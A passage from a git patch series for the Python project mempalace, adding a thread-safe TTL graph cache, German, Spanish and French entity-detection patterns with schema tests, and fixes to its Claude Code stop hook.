def build_graph(col=None, config=None): "dates": sorted(data["dates"])[-5:] if data["dates"] else [], } + _graph_cache_nodes = nodes + _graph_cache_edges = edges + _graph_cache_time = time.time() + return nodes, edges diff --git a/tests/test_palace_graph.py b/tests/test_palace_graph.py index ddda272..37497c1 100644 --- a/tests/test_palace_graph.py +++ b/tests/test_palace_graph.py @@ -30,6 +30,7 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}): build_graph, find_tunnels, graph_stats, + invalidate_graph_cache, traverse, ) @@ -38,6 +39,9 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}): class TestBuildGraph: + def setup_method(self): + invalidate_graph_cache() + def test_empty_collection(self): col = _make_fake_collection([]) nodes, edges = build_graph(col=col) @@ -114,11 +118,38 @@ class TestBuildGraph: nodes, _ = build_graph(col=col) assert len(nodes["busy"]["dates"]) <= 5 + def test_cache_returns_same_result(self): + """Second call within TTL returns cached nodes without re-scanning.""" + col = _make_fake_collection( + [{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}] + ) + nodes1, edges1 = build_graph(col=col) + # Second call with a *different* collection — should still return cached result + col2 = _make_fake_collection([]) + nodes2, edges2 = build_graph(col=col2) + assert nodes1 == nodes2 + assert edges1 == edges2 + + def test_invalidate_clears_cache(self): + """invalidate_graph_cache() forces a fresh scan on next call.""" + col = _make_fake_collection( + [{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}] + ) + build_graph(col=col) + invalidate_graph_cache() + col_empty = _make_fake_collection([]) + nodes, edges = build_graph(col=col_empty) + assert nodes == {} + assert edges == [] + # --- traverse --- class TestTraverse: + def setup_method(self): + invalidate_graph_cache() + def _build_col(self): return _make_fake_collection( [ @@ -156,6 +187,9 @@ class TestTraverse: class TestFindTunnels: + def setup_method(self): + invalidate_graph_cache() + def _build_tunnel_col(self): return _make_fake_collection( [ @@ -192,6 +226,9 @@ class TestFindTunnels: class TestGraphStats: + def setup_method(self): + invalidate_graph_cache() + def test_empty_graph(self): col = _make_fake_collection([]) stats = graph_stats(col=col) From 1657a79649026f0cd2b16dff23f461550f7fdfa4 Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 11 Apr 2026 20:15:55 -0700 Subject: [PATCH 08/61] fix: clarify cache docs, skip caching empty graphs Addresses Copilot review feedback on #661. Co-Authored-By: Claude Opus 4.6 --- mempalace/palace_graph.py | 14 ++++++++++---- tests/test_palace_graph.py | 7 ++++++- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/mempalace/palace_graph.py b/mempalace/palace_graph.py index faeedd3..96c7c62 100644 --- a/mempalace/palace_graph.py +++ b/mempalace/palace_graph.py @@ -26,7 +26,8 @@ from .config import MempalaceConfig from .palace import get_collection as _get_palace_collection from .palace import mine_lock -# Module-level graph cache — mirrors _metadata_cache pattern in mcp_server.py +# Module-level graph cache with TTL and write-invalidation. +# Warm cache serves build_graph() in O(1); invalidate_graph_cache() clears on writes. _graph_cache_nodes = None _graph_cache_edges = None _graph_cache_time = 0.0 @@ -66,6 +67,8 @@ def build_graph(col=None, config=None): """ global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time now = time.time() + # NOTE: warm cache ignores col/config args — intentional for the MCP server's + # single-palace use case. Callers switching collections must invalidate first. if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL: return _graph_cache_nodes, _graph_cache_edges @@ -124,9 +127,12 @@ def build_graph(col=None, config=None): "dates": sorted(data["dates"])[-5:] if data["dates"] else [], } - _graph_cache_nodes = nodes - _graph_cache_edges = edges - _graph_cache_time = time.time() + # Only cache non-empty graphs so new data is picked up immediately + # when the palace is first populated. + if nodes: + _graph_cache_nodes = nodes + _graph_cache_edges = edges + _graph_cache_time = time.time() return nodes, edges diff --git a/tests/test_palace_graph.py b/tests/test_palace_graph.py index 37497c1..7bc45e0 100644 --- a/tests/test_palace_graph.py +++ b/tests/test_palace_graph.py @@ -119,7 +119,12 @@ class TestBuildGraph: assert len(nodes["busy"]["dates"]) <= 5 def test_cache_returns_same_result(self): - """Second call within TTL returns cached nodes without re-scanning.""" + """Second call within TTL returns cached nodes without re-scanning. + + The cache intentionally ignores col/config args when warm — this is + correct for the MCP server's single-palace use case. Callers that + switch collections must call invalidate_graph_cache() first. + """ col = _make_fake_collection( [{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}] ) From 8adf35a13c30c564c4c4eb74df9d026bd1440c46 Mon Sep 17 00:00:00 2001 From: jp Date: Sun, 12 Apr 2026 14:52:53 -0700 Subject: [PATCH 09/61] fix: add threading lock to graph cache, expand docstring Address review feedback from @bensig: 1. Wrap cache reads/writes in threading.Lock for thread safety 2. Promote the col-arg caveat from inline comment to docstring Co-Authored-By: Claude Opus 4.6 --- mempalace/palace_graph.py | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/mempalace/palace_graph.py b/mempalace/palace_graph.py index 96c7c62..125ec0d 100644 --- a/mempalace/palace_graph.py +++ b/mempalace/palace_graph.py @@ -18,6 +18,7 @@ No external graph DB needed — built from ChromaDB metadata. import hashlib import json import os +import threading import time from collections import Counter, defaultdict from datetime import datetime, timezone @@ -28,6 +29,7 @@ from .palace import mine_lock # Module-level graph cache with TTL and write-invalidation. # Warm cache serves build_graph() in O(1); invalidate_graph_cache() clears on writes. +_graph_cache_lock = threading.Lock() _graph_cache_nodes = None _graph_cache_edges = None _graph_cache_time = 0.0 @@ -37,9 +39,10 @@ _GRAPH_CACHE_TTL = 60.0 # seconds — graph changes less often than metadata def invalidate_graph_cache(): """Clear the graph cache. Called from mcp_server.py on writes.""" global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time - _graph_cache_nodes = None - _graph_cache_edges = None - _graph_cache_time = 0.0 + with _graph_cache_lock: + _graph_cache_nodes = None + _graph_cache_edges = None + _graph_cache_time = 0.0 def _get_collection(config=None): @@ -59,7 +62,11 @@ def build_graph(col=None, config=None): Build the palace graph from ChromaDB metadata. Returns cached result if fresh (within TTL). Cache is invalidated - on writes via invalidate_graph_cache(). + on writes via invalidate_graph_cache(). Thread-safe via _graph_cache_lock. + + Note: warm cache ignores ``col`` and ``config`` arguments — this is + intentional for the MCP server's single-palace use case. Callers + switching collections should call ``invalidate_graph_cache()`` first. Returns: nodes: dict of {room: {wings: set, halls: set, count: int}} @@ -69,8 +76,9 @@ def build_graph(col=None, config=None): now = time.time() # NOTE: warm cache ignores col/config args — intentional for the MCP server's # single-palace use case. Callers switching collections must invalidate first. - if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL: - return _graph_cache_nodes, _graph_cache_edges + with _graph_cache_lock: + if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL: + return _graph_cache_nodes, _graph_cache_edges if col is None: col = _get_collection(config) @@ -130,9 +138,10 @@ def build_graph(col=None, config=None): # Only cache non-empty graphs so new data is picked up immediately # when the palace is first populated. if nodes: - _graph_cache_nodes = nodes - _graph_cache_edges = edges - _graph_cache_time = time.time() + with _graph_cache_lock: + _graph_cache_nodes = nodes + _graph_cache_edges = edges + _graph_cache_time = time.time() return nodes, edges From c88b8a2e17b197bc92072ba7c22125287a74a9eb Mon Sep 17 00:00:00 2001 From: Lman Chu Date: Fri, 17 Apr 2026 06:40:41 +0800 Subject: [PATCH 10/61] style: fix ruff format for test_entity_detector.py Collapse implicit string concatenation to single-line strings to satisfy ruff format --check in CI. Co-Authored-By: Claude --- tests/test_entity_detector.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/tests/test_entity_detector.py b/tests/test_entity_detector.py index 0691116..f006270 100644 --- a/tests/test_entity_detector.py +++ b/tests/test_entity_detector.py @@ -733,12 +733,7 @@ def test_zh_tw_falls_back_to_english_for_non_cjk_names(): def test_zh_cn_candidate_extraction(): """Simplified-Chinese name extraction mirrors zh-TW behaviour.""" - text = ( - "张三 今天主持。\n" - "- 张三 跟 Bob 谈。\n" - "张三: 已经搞定了。\n" - "张三, 明天继续。\n" - ) + text = "张三 今天主持。\n- 张三 跟 Bob 谈。\n张三: 已经搞定了。\n张三, 明天继续。\n" result = extract_candidates(text, languages=("zh-CN",)) assert "张三" in result, f"expected 张三 in {result}" assert result["张三"] >= 3 @@ -747,10 +742,7 @@ def test_zh_cn_candidate_extraction(): def test_zh_cn_and_zh_tw_union_covers_both_variants(): """Passing both zh-CN and zh-TW unions the surname sets — a document mixing simplified 张三 and traditional 張三 extracts both.""" - text = ( - "张三 说 hello。张三 笑了。张三 同意。\n" - "張三 也參加。張三 寫 code。張三 決定。\n" - ) + text = "张三 说 hello。张三 笑了。张三 同意。\n張三 也參加。張三 寫 code。張三 決定。\n" result = extract_candidates(text, languages=("zh-TW", "zh-CN")) # At least one variant meets freq>=3 assert "张三" in result or "張三" in result From 7006a6b42dfd8d4b4f3da01fd2bd50688aa4325f Mon Sep 17 00:00:00 2001 From: mvalentsev Date: Sat, 18 Apr 2026 21:53:11 +0500 Subject: [PATCH 11/61] feat(i18n): add entity detection to German locale --- mempalace/i18n/de.json | 82 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/mempalace/i18n/de.json b/mempalace/i18n/de.json index c6677b3..f2476e1 100644 --- a/mempalace/i18n/de.json +++ b/mempalace/i18n/de.json @@ -40,5 +40,87 @@ "stop_words": "der die das ein eine eines einer einem einen den dem des und oder aber denn weil wenn als ob auch noch schon sehr viel nur nicht mehr kann wird hat ist sind war waren sein haben wurde mit von zu für auf in an um über nach durch", "quote_pattern": "\\u201E([^\\u201C]{10,200})\\u201C|\"([^\"]{10,200})\"", "action_pattern": "(?:gebaut|behoben|geschrieben|hinzugefügt|gepusht|gemessen|getestet|überprüft|erstellt|gelöscht|aktualisiert|konfiguriert|bereitgestellt|migriert)\\s+[\\wÄÖÜäöüß\\s]{3,30}" + }, + "entity": { + "candidate_pattern": "[A-ZÄÖÜ][a-zäöüß]{1,19}", + "multi_word_pattern": "[A-ZÄÖÜ][a-zäöüß]+(?:\\s+[A-ZÄÖÜ][a-zäöüß]+)+", + "person_verb_patterns": [ + "\\b{name}\\s+sagte\\b", + "\\b{name}\\s+fragte\\b", + "\\b{name}\\s+antwortete\\b", + "\\b{name}\\s+erzählte\\b", + "\\b{name}\\s+lachte\\b", + "\\b{name}\\s+lächelte\\b", + "\\b{name}\\s+weinte\\b", + "\\b{name}\\s+fühlte\\b", + "\\b{name}\\s+denkt\\b", + "\\b{name}\\s+will\\b", + "\\b{name}\\s+liebt\\b", + "\\b{name}\\s+hasst\\b", + "\\b{name}\\s+weiß\\b", + "\\b{name}\\s+entschied\\b", + "\\b{name}\\s+schrieb\\b" + ], + "pronoun_patterns": [ + "\\ber\\b", + "\\bsie\\b", + "\\bes\\b", + "\\bihn\\b", + "\\bihm\\b", + "\\bihr\\b", + "\\bsein\\b", + "\\bihre\\b", + "\\bihnen\\b" + ], + "dialogue_patterns": [ + "^>\\s*{name}[:\\s]", + "^{name}:\\s", + "^\\[{name}\\]", + "\"{name}\\s+sagte" + ], + "direct_address_pattern": "\\bhallo\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bdanke\\s+{name}\\b|\\bservus\\s+{name}\\b|\\blieber\\s+{name}\\b|\\bliebe\\s+{name}\\b|\\bsehr\\s+geehrter\\s+{name}\\b|\\bsehr\\s+geehrte\\s+{name}\\b", + "project_verb_patterns": [ + "\\bbaue\\s+{name}\\b", + "\\bgebaut\\s+{name}\\b", + "\\bstarte\\s+{name}\\b", + "\\bgestartet\\s+{name}\\b", + "\\bdeploye\\s+{name}\\b", + "\\binstalliert\\s+{name}\\b", + "\\bdie\\s+{name}\\s+architektur\\b", + "\\bdie\\s+{name}\\s+pipeline\\b", + "\\bdas\\s+{name}\\s+system\\b", + "\\bdas\\s+{name}\\s+repository\\b", + "\\b{name}\\s+v\\d+\\b", + "\\b{name}\\.py\\b", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "der", "die", "das", "ein", "eine", "eines", "einer", "einem", "einen", + "den", "dem", "des", "und", "oder", "aber", "denn", "weil", "wenn", "als", + "ob", "auch", "noch", "schon", "sehr", "viel", "nur", "nicht", "mehr", + "kann", "wird", "hat", "ist", "sind", "war", "waren", "sein", "haben", + "wurde", "worden", "werden", "mit", "von", "zu", "für", "auf", "in", + "an", "um", "über", "nach", "durch", "bei", "aus", "seit", "vor", "zwischen", + "ich", "du", "er", "sie", "es", "wir", "ihr", "mich", "dich", "mir", "dir", + "uns", "euch", "mein", "dein", "unser", "euer", "ihre", "seine", + "wer", "was", "wann", "wo", "wie", "warum", "welcher", "welche", "welches", + "so", "dann", "jetzt", "heute", "gestern", "morgen", "hier", "dort", "da", + "immer", "nie", "manchmal", "oft", "selten", "bald", "spät", + "ja", "nein", "vielleicht", "gut", "schlecht", "besser", "bitte", "danke", + "hallo", "hi", "hey", "tschüss", + "tag", "tage", "woche", "monat", "jahr", "jahre", "zeit", "welt", "leben", + "mensch", "menschen", "leute", "person", "ding", "dinge", "sache", "sachen", + "teil", "art", "weise", "stelle", "platz", "ort", "zimmer", "haus", "land", + "grund", "frage", "antwort", "fakt", "sinn", "idee", "punkt", "fall", "aspekt", + "beispiel", "version", "nummer", "zahl", "name", "namen", "system", "modell", + "sprache", "technologie", "gesellschaft", "kultur", "geschichte", + "wissenschaft", "zukunft", "erinnerung", "gedächtnis", + "datei", "ordner", "pfad", "schlüssel", "wert", "fehler", "warnung", + "ergebnis", "eingabe", "ausgabe", "quelle", "ziel", "daten", "elemente", + "montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag", "sonntag", + "januar", "februar", "märz", "april", "mai", "juni", "juli", "august", + "september", "oktober", "november", "dezember" + ] } } From e17f219be879ab84b2a0ac1d08466657c3473a29 Mon Sep 17 00:00:00 2001 From: mvalentsev Date: Sat, 18 Apr 2026 21:54:39 +0500 Subject: [PATCH 12/61] feat(i18n): add entity detection to Spanish locale --- mempalace/i18n/es.json | 84 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) diff --git a/mempalace/i18n/es.json b/mempalace/i18n/es.json index aa30e1b..dd490aa 100644 --- a/mempalace/i18n/es.json +++ b/mempalace/i18n/es.json @@ -40,5 +40,89 @@ "stop_words": "el la los las un una unos unas de del al en con por para su sus mi mis tu tus es son está están fue ser estar haber sido como pero más muy también todo todos toda todas este esta estos estas ese esa esos esas que quien cual donde cuando porque aunque sin", "quote_pattern": "\"([^\"]{10,200})\"|«([^»]{10,200})»", "action_pattern": "(?:construido|corregido|escrito|añadido|enviado|medido|probado|revisado|creado|eliminado|actualizado|configurado|desplegado|migrado)\\s+[\\wá-ú\\s]{3,30}" + }, + "entity": { + "candidate_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]{1,19}", + "multi_word_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+(?:\\s+[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+)+", + "person_verb_patterns": [ + "\\b{name}\\s+dijo\\b", + "\\b{name}\\s+preguntó\\b", + "\\b{name}\\s+respondió\\b", + "\\b{name}\\s+contó\\b", + "\\b{name}\\s+rió\\b", + "\\b{name}\\s+sonrió\\b", + "\\b{name}\\s+lloró\\b", + "\\b{name}\\s+sintió\\b", + "\\b{name}\\s+piensa\\b", + "\\b{name}\\s+quiere\\b", + "\\b{name}\\s+ama\\b", + "\\b{name}\\s+odia\\b", + "\\b{name}\\s+sabe\\b", + "\\b{name}\\s+decidió\\b", + "\\b{name}\\s+escribió\\b" + ], + "pronoun_patterns": [ + "\\bél\\b", + "\\bella\\b", + "\\bellos\\b", + "\\bellas\\b", + "\\blo\\b", + "\\bla\\b", + "\\ble\\b", + "\\bles\\b", + "\\bse\\b" + ], + "dialogue_patterns": [ + "^>\\s*{name}[:\\s]", + "^{name}:\\s", + "^\\[{name}\\]", + "\"{name}\\s+dijo" + ], + "direct_address_pattern": "\\bhola\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bgracias\\s+{name}\\b|\\bquerido\\s+{name}\\b|\\bquerida\\s+{name}\\b|\\bestimado\\s+{name}\\b|\\bestimada\\s+{name}\\b|\\bdon\\s+{name}\\b|\\bdoña\\s+{name}\\b|\\bseñor\\s+{name}\\b|\\bseñora\\s+{name}\\b", + "project_verb_patterns": [ + "\\bconstruyo\\s+{name}\\b", + "\\bconstruí\\s+{name}\\b", + "\\barmé\\s+{name}\\b", + "\\blancé\\s+{name}\\b", + "\\bdesplegué\\s+{name}\\b", + "\\binstalé\\s+{name}\\b", + "\\bla\\s+arquitectura\\s+{name}\\b", + "\\bel\\s+pipeline\\s+{name}\\b", + "\\bel\\s+sistema\\s+{name}\\b", + "\\bel\\s+proyecto\\s+{name}\\b", + "\\bel\\s+repositorio\\s+{name}\\b", + "\\b{name}\\s+v\\d+\\b", + "\\b{name}\\.py\\b", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "el", "la", "los", "las", "un", "una", "unos", "unas", + "de", "del", "al", "a", "en", "con", "sin", "por", "para", "sobre", + "entre", "hasta", "desde", "hacia", "contra", "según", "tras", + "y", "o", "u", "ni", "pero", "sino", "aunque", "porque", "pues", + "que", "quien", "quienes", "cual", "cuales", "cuyo", "cuya", + "donde", "cuando", "como", "cuanto", "cuanta", + "yo", "tú", "él", "ella", "nosotros", "vosotros", "ellos", "ellas", + "me", "te", "se", "nos", "os", "lo", "la", "le", "los", "las", "les", + "mi", "mis", "tu", "tus", "su", "sus", "nuestro", "nuestra", "vuestro", + "este", "esta", "estos", "estas", "ese", "esa", "esos", "esas", + "aquel", "aquella", "aquellos", "aquellas", "esto", "eso", "aquello", + "ser", "estar", "haber", "tener", "hacer", "poder", "querer", "saber", + "es", "son", "fue", "fueron", "era", "eran", "está", "están", "estaba", + "he", "ha", "hemos", "han", "había", "hay", + "muy", "mucho", "mucha", "muchos", "muchas", "poco", "poca", "pocos", "pocas", + "más", "menos", "tan", "tanto", "también", "tampoco", + "sí", "no", "quizás", "tal", "vez", + "aquí", "allí", "allá", "ahí", "acá", + "hoy", "ayer", "mañana", "ahora", "antes", "después", "luego", "entonces", + "siempre", "nunca", "jamás", "todavía", "aún", "ya", + "bien", "mal", "mejor", "peor", "bueno", "buena", "malo", "mala", + "gracias", "hola", "adiós", "por favor", "perdón", + "día", "días", "semana", "mes", "año", "años", "tiempo", "vez", "veces", + "cosa", "cosas", "persona", "gente", "mundo", "vida", "casa", "lugar", + "forma", "manera", "parte", "caso", "punto", "idea", "hecho", "razón", + "nombre", "número", "versión", "sistema", "modelo" + ] } } From 118cbe40bd4bfef9f9fe3fdf3bdb0aa33101e977 Mon Sep 17 00:00:00 2001 From: mvalentsev Date: Sat, 18 Apr 2026 21:56:45 +0500 Subject: [PATCH 13/61] feat(i18n): add entity detection to French locale --- mempalace/i18n/fr.json | 82 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/mempalace/i18n/fr.json b/mempalace/i18n/fr.json index 2e3d0b9..86df08c 100644 --- a/mempalace/i18n/fr.json +++ b/mempalace/i18n/fr.json @@ -40,5 +40,87 @@ "stop_words": "le la les un une des de du au aux en et ou mais donc or ni car que qui ce cette ces son sa ses mon ma mes ton ta tes leur leurs nous vous ils elles on ne pas plus très bien aussi avec pour dans sur par est sont fait être avoir été comme tout tous toute toutes", "quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"", "action_pattern": "(?:construit|corrigé|écrit|ajouté|poussé|mesuré|testé|révisé|créé|supprimé|mis à jour|configuré|déployé|migré)\\s+[\\wà-ÿ\\s]{3,30}" + }, + "entity": { + "candidate_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]{1,19}", + "multi_word_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+(?:\\s+[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+)+", + "person_verb_patterns": [ + "\\b{name}\\s+a\\s+dit\\b", + "\\b{name}\\s+a\\s+demandé\\b", + "\\b{name}\\s+a\\s+répondu\\b", + "\\b{name}\\s+a\\s+raconté\\b", + "\\b{name}\\s+a\\s+ri\\b", + "\\b{name}\\s+a\\s+souri\\b", + "\\b{name}\\s+a\\s+pleuré\\b", + "\\b{name}\\s+a\\s+senti\\b", + "\\b{name}\\s+pense\\b", + "\\b{name}\\s+veut\\b", + "\\b{name}\\s+aime\\b", + "\\b{name}\\s+déteste\\b", + "\\b{name}\\s+sait\\b", + "\\b{name}\\s+a\\s+décidé\\b", + "\\b{name}\\s+a\\s+écrit\\b" + ], + "pronoun_patterns": [ + "\\bil\\b", + "\\belle\\b", + "\\blui\\b", + "\\bils\\b", + "\\belles\\b", + "\\bleur\\b", + "\\bleurs\\b", + "\\beux\\b", + "\\bse\\b" + ], + "dialogue_patterns": [ + "^>\\s*{name}[:\\s]", + "^{name}:\\s", + "^\\[{name}\\]", + "\"{name}\\s+a\\s+dit" + ], + "direct_address_pattern": "\\bbonjour\\s+{name}\\b|\\bsalut\\s+{name}\\b|\\bmerci\\s+{name}\\b|\\bcher\\s+{name}\\b|\\bchère\\s+{name}\\b|\\bmonsieur\\s+{name}\\b|\\bmadame\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b", + "project_verb_patterns": [ + "\\bconstruit\\s+{name}\\b", + "\\blancé\\s+{name}\\b", + "\\bdéployé\\s+{name}\\b", + "\\binstallé\\s+{name}\\b", + "\\bl'architecture\\s+{name}\\b", + "\\ble\\s+pipeline\\s+{name}\\b", + "\\ble\\s+système\\s+{name}\\b", + "\\ble\\s+projet\\s+{name}\\b", + "\\ble\\s+dépôt\\s+{name}\\b", + "\\b{name}\\s+v\\d+\\b", + "\\b{name}\\.py\\b", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "le", "la", "les", "un", "une", "des", "du", "de", "au", "aux", + "en", "dans", "sur", "sous", "avec", "sans", "pour", "par", "vers", + "chez", "entre", "depuis", "pendant", "avant", "après", "jusqu", + "et", "ou", "mais", "donc", "or", "ni", "car", "que", "qui", + "dont", "où", "quand", "comment", "pourquoi", "combien", "lequel", + "ce", "cet", "cette", "ces", "celui", "celle", "ceux", "celles", + "mon", "ma", "mes", "ton", "ta", "tes", "son", "sa", "ses", + "notre", "nos", "votre", "vos", "leur", "leurs", + "je", "tu", "il", "elle", "on", "nous", "vous", "ils", "elles", + "me", "te", "se", "lui", "eux", + "être", "avoir", "faire", "dire", "aller", "voir", "savoir", "pouvoir", + "est", "sont", "était", "étaient", "fut", "furent", "sera", "seront", + "ai", "as", "a", "avons", "avez", "ont", "avait", "avaient", + "très", "bien", "mal", "peu", "beaucoup", "trop", "assez", "aussi", + "plus", "moins", "tant", "si", "tellement", + "oui", "non", "peut-être", "vraiment", + "ici", "là", "là-bas", "partout", "ailleurs", + "aujourd'hui", "hier", "demain", "maintenant", "alors", "ensuite", + "toujours", "jamais", "souvent", "parfois", "déjà", "encore", + "bon", "bonne", "mauvais", "mauvaise", "meilleur", "pire", + "merci", "bonjour", "salut", "au revoir", + "jour", "jours", "semaine", "mois", "année", "temps", "fois", + "chose", "choses", "personne", "gens", "monde", "vie", "maison", + "endroit", "lieu", "partie", "façon", "manière", "sorte", "type", + "cas", "point", "idée", "fait", "raison", "nom", "nombre", + "version", "système", "modèle", "question", "réponse" + ] } } From 5189e0d652c6e83efb3875b058e108258a7c5221 Mon Sep 17 00:00:00 2001 From: mvalentsev Date: Sat, 18 Apr 2026 21:58:11 +0500 Subject: [PATCH 14/61] test(i18n): add entity section smoke tests and schema invariants --- tests/test_i18n.py | 73 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/tests/test_i18n.py b/tests/test_i18n.py index b91e352..9897f1e 100644 --- a/tests/test_i18n.py +++ b/tests/test_i18n.py @@ -85,3 +85,76 @@ def test_from_config_defaults_to_english(tmp_path): d = Dialect.from_config(str(config_path)) assert d.lang == "en", f"Expected 'en', got '{d.lang}' -- state leak from prior load_lang" + + +def test_de_entity_section_loads(): + """German entity section loads all pattern lists non-empty.""" + from mempalace.i18n import get_entity_patterns + + p = get_entity_patterns(("de",)) + assert p["candidate_patterns"], "de: empty candidate_patterns" + assert p["multi_word_patterns"], "de: empty multi_word_patterns" + assert p["person_verb_patterns"], "de: empty person_verb_patterns" + assert p["pronoun_patterns"], "de: empty pronoun_patterns" + assert p["dialogue_patterns"], "de: empty dialogue_patterns" + assert p["direct_address_patterns"], "de: empty direct_address_patterns" + assert p["project_verb_patterns"], "de: empty project_verb_patterns" + assert len(p["stopwords"]) > 50, f"de: stopwords too short ({len(p['stopwords'])})" + + +def test_es_entity_section_loads(): + """Spanish entity section loads all pattern lists non-empty.""" + from mempalace.i18n import get_entity_patterns + + p = get_entity_patterns(("es",)) + assert p["candidate_patterns"], "es: empty candidate_patterns" + assert p["multi_word_patterns"], "es: empty multi_word_patterns" + assert p["person_verb_patterns"], "es: empty person_verb_patterns" + assert p["pronoun_patterns"], "es: empty pronoun_patterns" + assert p["dialogue_patterns"], "es: empty dialogue_patterns" + assert p["direct_address_patterns"], "es: empty direct_address_patterns" + assert p["project_verb_patterns"], "es: empty project_verb_patterns" + assert len(p["stopwords"]) > 50, f"es: stopwords too short ({len(p['stopwords'])})" + + +def test_fr_entity_section_loads(): + """French entity section loads all pattern lists non-empty.""" + from mempalace.i18n import get_entity_patterns + + p = get_entity_patterns(("fr",)) + assert p["candidate_patterns"], "fr: empty candidate_patterns" + assert p["multi_word_patterns"], "fr: empty multi_word_patterns" + assert p["person_verb_patterns"], "fr: empty person_verb_patterns" + assert p["pronoun_patterns"], "fr: empty pronoun_patterns" + assert p["dialogue_patterns"], "fr: empty dialogue_patterns" + assert p["direct_address_patterns"], "fr: empty direct_address_patterns" + assert p["project_verb_patterns"], "fr: empty project_verb_patterns" + assert len(p["stopwords"]) > 50, f"fr: stopwords too short ({len(p['stopwords'])})" + + +def test_direct_address_key_is_singular_string_for_all_locales(): + """Schema invariant: any locale declaring direct-address uses the singular + ``direct_address_pattern`` (str), never the plural ``direct_address_patterns`` (list). + + The loader at ``mempalace/i18n/__init__.py:209-210`` only reads the singular key; + the plural form is the output schema of the merged dict, not the input schema. + Declaring the plural form in a locale file silently drops every direct-address + pattern in that locale after load. + """ + from mempalace.i18n import _load_entity_section, available_languages + + for lang in available_languages(): + section = _load_entity_section(lang) + if not section: + continue + assert "direct_address_patterns" not in section, ( + f"{lang}: declares plural 'direct_address_patterns' (list); " + f"loader only reads singular 'direct_address_pattern' (str). " + f"Collapse the list into one `|`-alternation string and rename the key." + ) + if "direct_address_pattern" in section: + val = section["direct_address_pattern"] + assert isinstance( + val, str + ), f"{lang}: 'direct_address_pattern' must be str, got {type(val).__name__}" + assert val, f"{lang}: 'direct_address_pattern' is empty" From 914945637cc38d331910f26a7744ea4a42fbb9f6 Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 18 Apr 2026 14:37:24 -0700 Subject: [PATCH 15/61] fix(hooks): honor silent_save when stop_hook_active is set MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Claude Code 2.1.114 passes stop_hook_active:true on every Stop fire after the first in a session (plugin-dispatched hooks in particular). The legacy guard at line 426 was written for block-mode, where a re-fire with the flag set meant "you already blocked, don't block again" — correct loop prevention when the hook returns {"decision":"block"}. Silent-save mode (default since #673) never blocks — it saves directly and returns. The flag is meaningless there, so the old guard was suppressing every auto-save after the first one in a Claude Code session. Symptom: terminal never shows the "✦ N memories woven" notification again, hook.log stays silent, save marker stuck. Fix: only skip on stop_hook_active when block mode is configured. Silent mode runs through as normal — the save is deterministic and idempotent, no loop risk. Co-Authored-By: Claude Opus 4.7 (1M context) --- mempalace/hooks_cli.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 97832dc..61e5a9c 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -209,10 +209,19 @@ def hook_stop(data: dict, harness: str): stop_hook_active = parsed["stop_hook_active"] transcript_path = parsed["transcript_path"] - # If already in a save cycle, let through (infinite-loop prevention) + # If already in a block-mode save cycle, let through (infinite-loop prevention). + # Silent mode saves directly without returning {"decision":"block"}, so there's + # no loop to prevent — and Claude Code's plugin dispatch sets this flag on every + # fire after the first, which would otherwise suppress all subsequent auto-saves. if str(stop_hook_active).lower() in ("true", "1", "yes"): - _output({}) - return + try: + from .config import MempalaceConfig + silent_guard = MempalaceConfig().hook_silent_save + except Exception: + silent_guard = True + if not silent_guard: + _output({}) + return # Count human messages exchange_count = _count_human_messages(transcript_path) From 6a3a5c7a3d5ea305ff725d49ceab515e8ba46c9e Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 18 Apr 2026 14:45:19 -0700 Subject: [PATCH 16/61] fix(hooks): write hook JSON to real stdout, bypassing mcp_server redirect MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit mempalace.mcp_server redirects stdout → stderr at module-level import (both Python-level and fd-level via os.dup2) to protect the MCP stdio protocol from ChromaDB's C-level noise. Silent-save imports mcp_server transitively via 